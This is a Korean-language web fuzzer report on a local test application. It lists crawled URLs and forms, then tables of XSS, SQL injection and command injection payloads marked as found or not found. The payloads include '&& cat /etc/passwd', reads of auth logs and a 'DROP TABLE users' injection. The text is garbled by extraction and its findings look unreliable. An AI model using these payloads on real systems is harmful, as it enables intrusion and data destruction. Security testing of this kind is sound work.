웹 퍼저 리포트

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1. 크롤링 결과

크롤링한 URL
- http://localhost:3000/postDetail/90
- http://localhost:3000/postDetail/3
- http://localhost:3000/productDetail/97
- http://localhost:3000/postDetail/130
- http://localhost:3000/postDetail/2
- http://localhost:3000/register
- http://localhost:3000/productDetail/35
- http://localhost:3000/productDetail/1
- http://localhost:3000/postDetail/48
- http://localhost:3000/postDetail/42
- http://localhost:3000/productDetail/36
- http://localhost:3000/postDetail/32
- http://localhost:3000/postDetail/71
- http://localhost:3000/productDetail/17
- http://localhost:3000/postDetail/7
- http://localhost:3000/productDetail/54
- http://localhost:3000/postDetail/126
- http://localhost:3000/productDetail/84
- http://localhost:3000/productDetail/114
- http://localhost:3000/postDetail/67
- http://localhost:3000/postDetail/109
- http://localhost:3000/postDetail/21
- http://localhost:3000/postDetail/26
- http://localhost:3000/postDetail/55











- http://localhost:3000/productDetail/5
- http://localhost:3000/productDetail/28
- http://localhost:3000/postDetail/39
- http://localhost:3000/postDetail/133
- http://localhost:3000/postDetail/127
- http://localhost:3000/productDetail/96
- http://localhost:3000/postDetail/98
- http://localhost:3000/productDetail/57
- http://localhost:3000/productDetail/63
- http://localhost:3000/productDetail/99
- http://localhost:3000/productDetail/62
- http://localhost:3000/productDetail/11
- http://localhost:3000/productDetail/106
- http://localhost:3000/postDetail/4
- http://localhost:3000/productDetail/107
- http://localhost:3000/postDetail/37
- http://localhost:3000/productDetail/117
- http://localhost:3000/productDetail/59
- http://localhost:3000/postDetail/1
- http://localhost:3000/productDetail/87
- http://localhost:3000/postDetail/62
- http://localhost:3000/productDetail/14
- http://localhost:3000/productDetail/66
- http://localhost:3000/postDetail/63
- http://localhost:3000/products?page=1
- http://localhost:3000/productDetail/47
- http://localhost:3000/productDetail/92







- http://localhost:3000/postDetail/13
- http://localhost:3000/productDetail/53
- http://localhost:3000/productDetail/91
- http://localhost:3000/productDetail/48
- http://localhost:3000/postDetail/86
- http://localhost:3000/postDetail/136
- http://localhost:3000/products?page=7
- http://localhost:3000/postDetail/11
- http://localhost:3000/productDetail/81
- http://localhost:3000/postDetail/64
- http://localhost:3000/productDetail/88
- http://localhost:3000/productDetail/15
- http://localhost:3000/postDetail/9
- http://localhost:3000/productDetail/75
- http://localhost:3000/productDetail/70
- http://localhost:3000/productDetail/10
- http://localhost:3000/products?page=3
- http://localhost:3000/posts?page=5
- http://localhost:3000/postDetail/132
- http://localhost:3000/productDetail/7
- http://localhost:3000/posts?page=10
- http://localhost:3000/postDetail/92
- http://localhost:3000/postDetail/47
- http://localhost:3000/postDetail/110
- http://localhost:3000/productDetail/83
- http://localhost:3000/postDetail/112
- http://localhost:3000/productDetail/29

- http://localhost:3000/productDetail/100
- http://localhost:3000/postDetail/99
- http://localhost:3000/productDetail/89

2. 폼과 입력 필드

URL	폼 액션	메소드	입력 필드
http://localhost:3000/p osts	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/l ogin	http://localhost:3000/l ogin	POST	username (type: text), password (type: password)
http://localhost:3000/p osts?page=4	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p osts/add	http://localhost:3000/p osts/add	POST	title (type: text), content (type: textarea), file (type: file)
http://localhost:3000/p osts?page=3	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p osts?page=1	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p osts?page=8	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p osts?page=2	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p osts?page=9	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p osts?page=5	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p osts?page=6	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p osts?page=10	http://localhost:3000/p roducts/search	GET	query (type: text)

http://localhost:3000/p osts?page=7	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts?page=2	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts?page=9	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts?page=4	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts?page=8	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts?page=7	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts?page=3	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts?page=6	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts/add	http://localhost:3000/p roducts/add	POST	name (type: text), description (type: textarea), price (type: number)
http://localhost:3000/p roducts?page=1	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/p roducts?page=5	http://localhost:3000/p roducts/search	GET	query (type: text)
http://localhost:3000/r egister	http://localhost:3000/r egister	POST	username (type: text), password (type: password), confirmPassword (type: password)

3. 퍼징 시도 및 결과

-- 취약점 발견 시도 --XSS

폼 액션	페이로드	결과
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre><svg)="" onload="alert('XSS'"></svg></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre><iframe src='javascript: alert("XSS")'></iframe></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre><svg)="" onload="alert('XSS'"></svg></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre><iframe src='javascript: alert("XSS")'></iframe></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre><svg)="" onload="alert('XSS'"></svg></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견

http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨img src=x onerror=alert('XSS')⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨svg/onload=alert('XSS')⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨img src=x onerror=alert('XSS')⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<script>alert('XSS')</scri pt></td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre>⟨img src=x onerror=alert('XSS')⟩</pre>	XSS 취약점 발견

http://localhost:3000/p roducts/search	⟨svg/onload=alert('XSS'	XSS 취약점 발견
http://localhost:3000/products/search	<pre>//</pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<script>alert('XSS')</scri pt></td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td><pre></pre></td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td><pre></td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨img src=x onerror=alert('XSS')⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre><svg)="" onload="alert('XSS'"></svg></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<script>alert('XSS')</scri pt></td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>'"><script>alert('XSS')</ script></td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>⟨img src=x onerror=alert('XSS')⟩</td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>⟨svg/onload=alert('XSS')⟩</td><td>XSS 취약점 발견</td></tr><tr><td>http://localhost:3000/p roducts/search</td><td>⟨script⟩alert('XSS')⟨/scri pt⟩</td><td>XSS 취약점 발견</td></tr></tbody></table></script>	

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http://localhost:3000/p roducts/search	<pre> <svg)="" onload="alert('XSS'"></svg></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre><iframe src='javascript: alert("XSS")'></iframe></pre>	XSS 취약점 발견
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http://localhost:3000/p roducts/search	<pre> <svg)="" onload="alert('XSS'"></svg></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
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http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre><svg)="" onload="alert('XSS'"></svg></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨img src=x onerror=alert('XSS')⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨script⟩alert('XSS')⟨/scri pt⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	'"> <script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/p roducts/search	⟨img src=x onerror=alert('XSS')⟩	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre> <svg)="" onload="alert('XSS'"></svg></pre>	XSS 취약점 발견
http://localhost:3000/p roducts/search	<pre>⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩</pre>	XSS 취약점 발견

Command Injection

폼 액션	페이로드	결과
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/login	netstat -an	Command Injection 취약점 발견
http://localhost:3000/login	whoami	Command Injection 취약점 발견
http://localhost:3000/login	; ls	Command Injection 취약점 발견
http://localhost:3000/login	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/login	ps aux	Command Injection 취약점 발견

http://localhost:3000/login	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p osts/add	whoami	Command Injection 취약점 발견
http://localhost:3000/p osts/add	; ls	Command Injection 취약점 발견
http://localhost:3000/p osts/add	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p osts/add	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p osts/add	ps aux	Command Injection 취약점 발견
http://localhost:3000/p osts/add	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견

http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견

http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견

http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견

http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견

http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견

	I	
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/add	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	; ls	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	whoami	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/p roducts/search	ps aux	Command Injection 취약점 발견

http://localhost:3000/p roducts/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/re gister	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/re gister	whoami	Command Injection 취약점 발견
http://localhost:3000/re gister	; ls	Command Injection 취약점 발견
http://localhost:3000/re gister	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/re gister	netstat -an	Command Injection 취약점 발견
http://localhost:3000/re gister	ps aux	Command Injection 취약점 발견

SQL Injection

폼 액션	페이로드	결과
http://localhost:3000/p osts/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	'; DROP TABLE users;	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	' OR '1'='1' ({	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	' OR '1'='1' #	SQL Injection 취약점 발견
http://localhost:3000/p osts/add	admin'	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	' OR '1'='1' ({	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	admin'	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	'; DROP TABLE users;	SQL Injection 취약점 발견
http://localhost:3000/p roducts/add	' OR '1'='1' #	SQL Injection 취약점 발견

취약점 없는 시도

폼 액션	페이로드	결과
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/login	' OR '1'='1' ({	취약점 없음
http://localhost:3000/login	' OR '1'='1' #	취약점 없음
http://localhost:3000/login	'; DROP TABLE users;	취약점 없음
http://localhost:3000/login	⟨script⟩alert('XSS')⟨/scri pt⟩	취약점 없음
http://localhost:3000/login	'"> <script>alert('XSS')</script>	취약점 없음

http://localhost:3000/lo	<pre></pre>	취약점 없음
http://localhost:3000/login	⟨svg/onload=alert('XSS')⟩	취약점 없음
http://localhost:3000/login	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	취약점 없음
http://localhost:3000/login	' OR '1'='1	취약점 없음
http://localhost:3000/login	' OR '1'='1' /*	취약점 없음
http://localhost:3000/login	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p osts/add	'"> <script>alert('XSS')</script>	취약점 없음
http://localhost:3000/p osts/add	<pre></pre>	취약점 없음
http://localhost:3000/p osts/add	⟨script⟩alert('XSS')⟨/scri pt⟩	취약점 없음
http://localhost:3000/p osts/add	<pre><svg)="" onload="alert('XSS'"></svg></pre>	취약점 없음
http://localhost:3000/p osts/add	⟨iframe src='javascript: alert("XSS")'⟩⟨/iframe⟩	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음

http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음

http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음

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http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/p roducts/search	admin'	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/p roducts/search	'; DROP TABLE users;	취약점 없음
http://localhost:3000/p roducts/search	' OR '1'='1	취약점 없음
